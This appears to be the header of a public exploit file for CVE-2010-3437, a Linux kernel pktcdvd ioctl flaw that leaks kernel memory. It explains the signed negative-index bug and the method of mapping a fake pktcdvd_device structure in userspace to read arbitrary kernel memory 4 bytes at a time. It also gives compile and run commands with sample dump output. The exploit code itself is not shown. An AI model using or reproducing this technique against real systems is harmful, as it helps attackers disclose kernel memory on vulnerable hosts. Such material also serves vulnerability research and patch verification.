Linux Kernel 2.6.36 Kernel Memory Disclosure

/*
* cve-2010-3437.c
*
* Linux Kernel <>
* Jon Oberheide
* http://jon.oberheide.org
*
* Information:
*
* https://bugzilla.redhat.com/show_bug.cgi?id=638085
*
* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
* pktcdvd_device from the global pkt_devs array. The index into this
* array is provided directly by the user and is a signed integer, so the
* comparison to ensure that it falls within the bounds of this array will
* fail when provided with a negative index.
*
* Usage:
*
* $ gcc cve-2010-3437.c -o cve-2010-3437
* $ ./cve-2010-3437
* usage: ./cve-2010-3437
* $ ./cve-2010-3437 0xc0102290 64
* [+] searching for pkt_devs kernel symbol...
* [+] found pkt_devs at 0xc086fcc0
* [+] opening pktcdvd device...
* [+] calculated dereference address of 0x790070c0
* [+] mapping page at 0x79007000 for pktcdvd_device dereference...
* [+] setting up fake pktcdvd_device structure...
* [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...
* [+] dumping kmem to output...
*
* 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...
* 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...
*
* Notes:
*
* Pass the desired kernel memory address and dump length as arguments.
*
* We can disclose 4 bytes of arbitrary kernel memory per ioctl call by
* specifying a large negative device index, causing the kernel to
* dereference to our fake pktcdvd_device structure in userspace and copy
* data to userspace from an attacker-controlled address. Since only 4
* bytes of kmem are disclosed per ioctl call, large dump sizes may take a
* few seconds.
*
* Tested on Ubuntu Lucid 10.04. 32-bit only for now.
*/
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